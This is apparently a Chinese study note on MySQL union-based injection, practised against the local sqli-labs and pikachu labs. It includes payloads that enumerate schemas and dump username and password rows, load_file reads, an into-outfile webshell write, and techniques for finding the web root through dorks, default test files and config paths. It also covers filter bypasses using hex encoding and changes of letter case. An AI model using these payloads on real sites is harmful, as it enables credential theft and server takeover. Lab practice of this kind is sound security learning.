sql注入mysql注入
#跨库查询及应用思路
information_schema表特性,记录数据库名、表名、列名对应表
information_schema.schemata:存储所有数据库名
schema_name:数据库名
利用sqlilabs第2关进行演示
1.猜解列名数量
可知字段数为3。
2.获取所有数据库名
获取所有数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
可知改系统上有10个数据库
sqlilabs通过查询对应的数据库为security。
3.获得pikachu数据库名下的表名信息
在网站中一个网站对应一个数据库。由上图可知sqlilabs的数据库为security,靶场pikachu对应的数据库名为pikachu。
获取pikachu数据库名下的表名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
有4张表。
4.获取指定数据库名下的表名的列名信息
获取pikachu据库下的users表的列名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
5.获取表数据
获取数据库pikachu数据库中users表中的具体信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+
#文件读写操作
读取函数:load_file()
导出函数:into outfile或into dumpfile
读取数据:sele文件的路径’)
1.读取E:\下的test.txt文件
select load_file('e:/test.txt');
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+
2.写入数据
写入数据数据到e盘下的test.txt文件
写入木马方法:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木马',3 into outfile 'e:/test.php' --+
3.路径获取方法
(1).单引号爆路径
就像测试SQL注入一样在参数后面加上单引号。
http://localhost/?id=1'
(2).错误参数值爆路径
通过第一种方式可以会触发waf,因此可以通过错误的参数值来爆网站路径。
http://localhost/?id=-1
http://localhost/?id=oqewe
(3)通过搜索引擎获取
通过搜索引擎语法可能可以获取到网站路径,如:
Site:xxx.com warning
Site:xxx.com "fatal error"
intext:warning
(4)测试文件获取路径
网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:
/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php
/x.php
(5)配置文件获取路径
如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。
Windows配置文件:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux配置文件:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
XAMPP配置文件:
Xampp文件路径
C:\xampp\htdocs httpd.com配置文件
C:\xampp\apache\conf/httpd.conf vhosts.conf虚拟主机
C:\xampp\apache\onf\extra\httpd-vhosts.conf
phpnow配置文件:
网站默认路径
D:\PHPnow-1.5.6\htdocs httpd.conf配置文件
D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf vhosts.conf虚拟主机
D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
phpstudy配置文件:
网站默认路径
C:\phpstudy\www httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP配置文件:
网站默认路径
/opt/lampp/htdocs httpd.conf配置文件
/opt/lampp/etc/httpd.conf vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf
(6)nginx文件类型错误解析爆路径
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
http://localhost/test.jpg/x.php
(7)phpmyadmin爆路径
/phpmyadmin/themes/darkblue_orange/layout.inc.php
(8)配合远程代码执行漏洞
比如eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径。
#常见文件写入问题
1.魔术引号开关
magic_quotes_gpc=on时,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+
\\被转义成\\\\,'转义成‘\
绕过方法:
将路径去掉引号采用十六进制编码即可绕过。
2.php语言的addslashes()函数
addslashes()函数与魔术引号作用类似,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
3.内置函数int
我们修改第2关的php文件
再进行测试
无法注入!且无法绕过
4.自定义关键字
str_replace('select','warning',$id)函数将select替换成warning。
进行测试:
select被修改,修改大小写可以绕过。
最新文章
- Android编程思想双11口诀
- sql server 中xml 数据类型的insert、update、delete
- CentOS7:配置SVN服务器
- .Net中使用aliases让相同命名空间的dll引用共存
- git 笔记- 概念
- 单独下载的Qt library则一般不带SSL(包括QT FAQ)
- Art Gallery - POJ 1279(求内核面积)
- cocos2dx jsb 在IOS与安卓下的一些不同之处
- Script: Who’s using a database link?(找出谁在使用dblink)
- C++ const关键字用法详解
- 二维码utils希望对大家有帮助
- 【JavaScript运算符与表达式】
- [ZJOI2007]时态同步
- Windows XP Services
- HTTP 学习心得
- VS Code编写Python3 insert 数据库插入无效也不报错的坑~.~
- struts学习笔记
- 自然语言交流系统 phxnet团队 创新实训 项目博客 (十三)
- Spring AOP之使用注解创建切面
- POJ3468——树状数组支持两个区间操作
热门文章
- 我来教你如何用Docker部署最近火爆的人生重开模拟器
- sql注入代码分析及预防
- owasp中国
- [题解]Codeforces Round #709 (Div. 1, based on Technocup 2021 Final Round) - A. Basic Diplomacy
- SRv6规模部署,离不开测试技术保驾护航!
- C语言字符串输入输出函数(gets()函数、puts()函数、fgets()函数、fputs()函数)
- Zookeeper应用场景和ZAB协议
- 发送POST请求(HTTP),K-V形式
- 【译】在 ASP.NET 和 ASP.NET Core 之间共享代码
- docker学习笔记(2)——docker常用命令